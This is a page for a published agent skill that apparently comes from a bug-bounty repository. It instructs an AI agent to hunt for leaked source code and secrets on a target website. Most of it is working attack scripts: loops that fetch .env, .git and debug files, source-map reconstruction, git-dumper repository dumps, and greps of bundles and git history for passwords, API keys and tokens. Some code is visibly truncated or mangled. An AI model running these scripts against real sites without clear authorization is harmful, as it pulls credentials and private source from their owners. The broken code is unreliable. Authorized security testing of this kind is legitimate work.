hunt-source-leak skill

by elementalsouls·elementalsouls/Claude-BugHunter·4.7k stars·MIT

Hunt source code and build artifact leakage — JavaScript source maps (.js.map) reconstructing TypeScript/ES6 source, Swagger/OpenAPI JSON endpoint discovery, .env/.git exposure, webpack chunks with hardcoded secrets, robots.txt/security.txt recon, build-info files, asset-manifest.json API route discovery, .DS_Store file listing. Use at the START of every recon session — these findings often unlock the entire attack surface.

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Install the hunt-source-leak skill

A skill is a folder. Copy it into your agent's skills folder and the agent loads it when the task matches its description.

git clone --depth 1 https://github.com/elementalsouls/Claude-BugHunter.git /tmp/Claude-BugHunter
mkdir -p ~/.claude/skills
cp -r /tmp/Claude-BugHunter/skills/hunt-source-leak ~/.claude/skills/hunt-source-leak

available in every project

In the Claude apps, zip the folder and upload it from the Skills settings. The folder on GitHub

The instructions your agent would load

SKILL.md as published, without the frontmatter. Read it on GitHub

HUNT-SOURCE-LEAK — Source Code & Build Artifact Leakage

Crown Jewel Targets

Source map exposing TypeScript source = see all API routes, auth logic, secrets. Swagger/OpenAPI JSON = complete API surface map.

Highest-value findings:

.js.map source maps — reconstruct full TypeScript/ES6 source code → find hardcoded API keys, internal endpoints, auth logic bypasses
swagger.json / openapi.json — complete REST API specification with all endpoints, parameters, auth schemes, and internal route names
.env / .env.production — APPKEY, DBPASSWORD, APIKEY, SECRETKEY in plaintext
.git/ exposure — git clone the entire source history → all past hardcoded secrets
asset-manifest.json / next/static/** — all JS bundle paths → systematic source map discovery
build-info / info.json — git commit hash, build timestamp, dependency versions → CVE targeting

Phase 1 — Quick Wins (Run First)

# These 10 requests take <30 seconds and often yield Critical findings
for PATH in \
  "/.env" \
  "/.env.production" \
  "/.env.local" \
  "/.git/HEAD" \
  "/swagger.json" \
  "/api/swagger.json" \
  "/v1/swagger.json" \
  "/openapi.json" \
  "/api/openapi.json" \
  "/api-docs"; do
  STATUS=$(curl -s -o /tmp/sl_test -w "%{http_code}" "https://$TARGET$PATH")
  if [ "$STATUS" = "200" ]; then
    echo "[+] HIT: https://$TARGET$PATH"
    head -5 /tmp/sl_test
    echo "---"
  fi
done

Phase 2 — Source Map Discovery

**Always resolve the CURRENT build hash before testing, and again before

re-verifying.** Bundle filenames are content-hashed, so they rotate on every

deploy. A .map URL recorded yesterday can 404 today while the map is still

fully exposed under a new name. A 404 at the old URL is not remediation —

it is a new build.

bash

# ALWAYS derive the hash live, never reuse a recorded URL

HASH=$(curl -s "https://$TARGET/" | grep -oE 'main\.[a-f0-9]+\.js' | head -1)

curl -s -o /dev/null -w '%{httpcode} %{sizedownload} %{content_type}\n' \

"https://$TARGET/static/js/${HASH}.map"

Lesson from an authorized engagement. A large production map was found at

main..js.map. On re-verification that URL returned a small HTML

soft-404 and the finding was nearly closed as fixed. The bundle had rotated to

main..js — and the map was still published at main..js.map,

same size. Nothing had been remediated.

Tell the client this explicitly in the report: **redeploying does not fix source

map exposure. Only GENERATESOURCEMAP=false (or stripping .map at deploy)

plus a CDN purge closes it. A team that redeploys and re-checks the old link

will wrongly declare victory.

Same rule applies to any content-hashed artifact: chunk files, CSS maps,

asset-manifest.json, and staging equivalents.

# Step 1: Get asset manifest to find all JS bundle paths
curl -s "https://$TARGET/asset-manifest.json" | python3 -m json.tool 2>/dev/null
curl -s "https://$TARGET/static/js/main.*.js" 2>/dev/null | head -3

# Next.js
BUILD_ID=$(curl -s https://$TARGET/ | grep -oP '"buildId":"\K[^"]+')
curl -s "https://$TARGET/_next/static/$BUILD_ID/_buildManifest.js" | head -5

# Step 2: For each JS bundle, check for source map reference at end of file
for JS_URL in $(curl -s https://$TARGET/ | grep -oP 'src="[^"]*\.js"' | sed 's/src="//;s/"//'); do
  LAST_LINE=$(curl -s "https://$TARGET$JS_URL" | tail -1)
  echo "$LAST_LINE" | grep -q "sourceMappingURL" && echo "[+] Source map: $JS_URL"
done

# Step 3: Download and reconstruct source from .map files
JS_URL="https://$TARGET/static/js/main.abc123.js"
MAP_URL="${JS_URL}.map"
curl -s "$MAP_URL" | python3 -c "
import sys, json, os
data = json.load(sys.stdin)
sources = data.get('sources', [])
contents = data.get('sourcesContent', [])
for i, (src, content) in enumerate(zip(sources, contents)):
    if content:
        path = '/tmp/sourcemap_extract/' + src.replace('../','').replace('./',''). replace('webpack://','')
        os.makedirs(os.path.dirname(pat

Phase 3 — Swagger / OpenAPI Discovery

# Common paths
SWAGGER_PATHS=(
  "/swagger.json" "/swagger.yaml" "/swagger/"
  "/api/swagger.json" "/api/swagger.yaml"
  "/v1/swagger.json" "/v2/swagger.json" "/v3/swagger.json"
  "/openapi.json" "/openapi.yaml"
  "/api/openapi.json" "/api-docs" "/api-docs.json"
  "/api/v1/swagger.json" "/api/v2/swagger.json"
  "/rest/swagger.json" "/rest/api-docs"
  "/.well-known/openapi.json"
  "/graphql/schema.json"
)

for PATH in "${SWAGGER_PATHS[@]}"; do
  STATUS=$(curl -s -o /tmp/swagger_test -w "%{http_code}" "https://$TARGET$PATH")
  if [ "$STATUS" = "200" ]; then
    echo "[+] Found: https://$TARGET$PATH"
    # Extract all API paths from swagger
    python3 -c "
import sys, json
try:
    d = json.load(open('/tmp/swagger_test'))
    paths = list(d.get('paths', {}).keys())
    print(f'Endpoints: {len(paths)}')
    print('\n'.join(sorted(paths)))
except: pass
" | head -50
  fi
done

Phase 4 — .git Exposure

# Check if .git directory is accessible
curl -s "https://$TARGET/.git/HEAD" | grep -q "ref:" && echo "[+] .git exposed!"

# If exposed, reconstruct repo
# Tool: git-dumper
pip3 install git-dumper
git-dumper "https://$TARGET/.git/" /tmp/dumped-repo/

# Grep for secrets in all git history
cd /tmp/dumped-repo && \
  git log --all --oneline 2>/dev/null | head -20
  git grep -i "password\|secret\|api_key\|token" $(git rev-list --all) 2>/dev/null | head -30

# trufflehog on git history
trufflehog git file:///tmp/dumped-repo/ 2>/dev/null | head -50

Phase 5 — Forgotten Files & Debug Endpoints

# Build artifacts and debug files
DEBUG_PATHS=(
  "/build-info.json" "/build/build-info.json"
  "/info" "/actuator/info" "/api/info"
  "/version" "/api/version" "/_version"
  "/health" "/status" "/ping"
  "/robots.txt" "/security.txt" "/.well-known/security.txt"
  "/sitemap.xml" "/manifest.json" "/browserconfig.xml"
  "/crossdomain.xml" "/clientaccesspolicy.xml"
  "/phpinfo.php" "/info.php" "/test.php"
  "/server-status" "/server-info" "/.htaccess"
  "/web.config" "/applicationHost.config"
  "/WEB-INF/web.xml" "/META-INF/MANIFEST.MF"
  "/package.json" "/composer.json" "/Gemfile"
  "/Dockerfile" "/docker-compose.yml" "/.dockerenv"
)

for PATH in "${DEBUG_PATHS[@]}"; do
  STATUS=$(curl -s -o /tmp/debug_test -w "%{http_code}" "https://$TARGET$PATH")
  if [ "$STATUS" = "200" ]; then
    echo "[+] Found: https://$TARGET$PATH ($STATUS, $(wc -c < /tmp/debug_test) bytes)"
    head -3 /tmp/debug_test
    echo "---"
  fi
done

Phase 6 — .DS_Store File Listing

# .DS_Store files on macOS-deployed web servers reveal directory structure
curl -s "https://$TARGET/.DS_Store" | xxd | head -10

# Parse .DS_Store to extract filenames
pip3 install ds_store
python3 -c "
from ds_store import DSStore
with DSStore.open('/tmp/ds_store_test', 'r') as d:
    for entry in d:
        print(entry.filename)
"

# Recursive .DS_Store enumeration
# Tool: https://github.com/lijiejie/ds_store_exp
python3 ds_store_exp.py "https://$TARGET/"

Phase 7 — webpack Chunk Analysis

# Download and analyze webpack chunks for hardcoded values
# Find chunk files
curl -s https://$TARGET/ | grep -oP '"[^"]*\.chunk\.js"' | tr -d '"' | while read chunk; do
  echo "Analyzing: $chunk"
  curl -s "https://$TARGET$chunk" | \
    grep -oE '"(api_key|apiKey|secret|password|token|key)"\s*:\s*"[^"]+"' | head -5
done

# Also grep for internal hostnames
curl -s "https://$TARGET/static/js/main.*.js" | \
  grep -oE '"(https?://[^"]*internal[^"]*|http://[^"]*localhost[^"]*)"' | sort -u

# Check for Base64-encoded secrets
curl -s "https://$TARGET/static/js/main.*.js" | \
  grep -oP '"[A-Za-z0-9+/]{30,}={0,2}"' | while read b64; do
  DECODED=$(echo "$b64" | tr -d '"' | base64 -d 2>/dev/null)
  echo "$DECODED" | grep -iE "key|secret|password|token" && echo "  B64: $b64"
done

Chain Table

Tools

# git-dumper (reconstruct exposed .git)
pip3 install git-dumper
git-dumper "https://target.com/.git/" /tmp/repo/

# sourcemap-explorer (visualize what's in bundles)
npm install -g source-map-explorer
source-map-explorer main.js

# unwebpack-sourcemap (extract all source files)
npm install -g unwebpack-sourcemap

# trufflehog (secret scanning)
trufflehog filesystem /tmp/repo/

Validation

✅ Source map: reconstructed TypeScript source contains API endpoints or hardcoded secrets ✅ Swagger: JSON contains internal endpoints not visible in UI ✅ .git exposed: git-dumper successfully clones repo, secrets in history ✅ .env exposed: DATABASEURL, APIKEY, SECRET_KEY visible in plaintext

Severity:

.env with credentials: Critical
.git with secrets in history: Critical
Source map with secrets: High
Swagger with internal routes: Medium-High
robots.txt only: Informational

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